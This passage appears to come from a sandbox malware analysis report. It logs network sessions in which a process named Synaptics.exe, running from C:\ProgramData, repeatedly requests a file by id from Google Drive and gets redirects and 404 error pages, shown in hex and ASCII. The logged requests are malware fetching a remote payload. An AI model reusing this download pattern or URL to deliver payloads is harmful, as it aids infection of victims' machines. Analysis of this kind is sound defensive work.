arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49912	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:40 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KM_Bh2_Zvx7DhiGkXADR_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49913	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:40 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zCTv6LKvERgIL3Jafz1nuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49914	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:40 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Zxc7tYAlHhm3Sl77wooeKkIH811kdZ9aOsB6hjMeCyxw-L5qs44kL-oQo3zyXE2cMx5lRBc4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:40 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-j_LKLvuLRj2wyuyAUeO4VA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:40 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:40 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 33 6b 4b 4b 77 43 54 7a 70 49 55 52 39 68 71 6d 6d 47 67 78 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="93kKKwCTzpIUR9hqmmGgxw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:40 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49915	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:40 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:40 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC482Q6VrHTYGQ-osPbIpHMT_R9Ji_mfmQzjEyT4jKQEmC_X8p7dzHgHgDYhbPigdfGfTFvT4zs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:40 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ow8qcLUkI1nnVjHb151auw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:40 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:40 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 69 68 57 4b 32 58 6e 6a 79 38 47 6b 78 39 46 47 33 42 61 57 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="7ihWK2Xnjy8Gkx9FG3BaWA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:40 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49916	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-o55lWXv6dPVghJcuYeIkIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49917	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Zv3fG-Ql4o8jc2_FDMR4Ew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49918	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:41 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:41 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4kL-iL-oTdn4qTI2omROexovcwtBgGLqnkwBpQcc3WmZIPk8V1r52lVFeoCdfccpTD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:41 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gVpoI4Tv-OnyM5LOkA2eFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:41 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:41 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 53 61 54 51 35 6f 39 75 6a 55 4e 76 7a 31 51 2d 4a 5f 44 76 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="oSaTQ5o9ujUNvz1Q-J_Dvw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:41 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49919	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:41 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:41 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Y3g6nTdC_90wwTFlUzGeyiW_EWIlvUHK9oUwPShtsEkoRmh2o5u6JZoU7agqtEHPRupE7wl8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:41 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dRvZgDaa8ncDK3lhuL4Etg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:41 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
